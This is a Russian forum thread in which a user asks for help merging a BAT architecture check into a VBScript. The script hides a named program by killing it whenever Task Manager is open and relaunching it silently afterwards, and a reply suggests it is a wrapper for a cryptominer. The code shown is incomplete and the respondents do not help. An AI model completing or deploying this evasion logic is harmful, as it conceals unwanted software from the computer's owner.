Сойденить код - Компьютерный форум OSzone.net

Компьютерный форум OSzone.net (http://forum.oszone.net/index.php)

- Скриптовые языки администрирования Windows (http://forum.oszone.net/forumdisplay.php?f=102)

- - Сойденить код (http://forum.oszone.net/showthread.php?t=328097)

Сойденить код

1. Перевести код с BAT в VBS
2. Нужно совместить 2 скрипта. ( Я просто не знаю как это можно сделать я не селен в этом )
1. Код какой нужно перевести

Код:

 

Set xOS=x64

If "%PROCESSOR_ARCHITECTURE%"=="x86" If Not Defined PROCESSOR_ARCHITEW6432 Set xOS=x86

If %xOS%==x86 ("x86.exe") Else ("x64.exe")

2. Потом совместить этот код с этим

Код:

Set WshShell = CreateObject("WScript.Shell") 

Set WshShell = Nothing



On error resume next

Set WshShell = WScript.CreateObject("WScript.Shell")

Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")



' Cores Counting

Const wbemFlagReturnImmediately = &h10

Const wbemFlagForwardOnly = &h20

strComputer = "."



   Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")

   Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _

                                          wbemFlagReturnImmediately + wbemFlagForwardOnly)

cores = 0

For Each objItem In colItems

    cores = cores + objItem.NumberOfLogicalProcessors

Next

cores = cores - 1

' General Launching and Checking

do

WScript.Sleep 500

' Task Manager

Set taskcolitem = objWMIService.ExecQuery("Select * from Win32_Process")

taskmgrisrun=false

For Each objItem in taskcolitem

If objItem.Name = "Taskmgr.exe" OR objItem.Name = "taskmgr.exe" Then

taskmgrisrun = True

Exit For

End If

Next

' End Task Manager

Running = False

Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")

For Each objItem in colItems

If objItem.Name = "Имя.exe" Then

Running = True

Set thisprocess=objItem

Exit For

End If

Next

If taskmgrisrun Then

    If Running Then

        thisprocess.Terminate

    End if

    If Not Running Then

        Running=True

    End if

End if

If Not Running Then

    WScript.Sleep 500

    WshShell.Run "Запуск определенного из файлов зависимости от разрядности системы, 0

End if

Loop

Если не сложно можете помочь буду благодарен.

DetFedot, словами объясните, что Вам нужно (не «сойденить код», а саму задачу, которую Вы хотите решить).

P.S. Второй код представляет из себя просто тихий ужас невнятного назначения.

Мне нужен VBS код какой будет проверять разрядность системы на счет сколько бит 86 или 64, потом проверяем запущен ли диспетчер задач если да то он находит определение имена какие я указал и делает taskkill этого процесса какой был указан в разрядности системы, после закрытия диспетчера задач программа запускает файл под разрядность системы. Ну и при открытие диспетчера задач идет вся команда по новой.

DetFedot, ещё раз, медленно и по-русски, пожалуйста, с расстановкой знаков препинания во всех потребных местах. Иначе я не могу Вас понять.

походу автор этой темы школьник, а по поводу второго скрипта это vbs для майнера.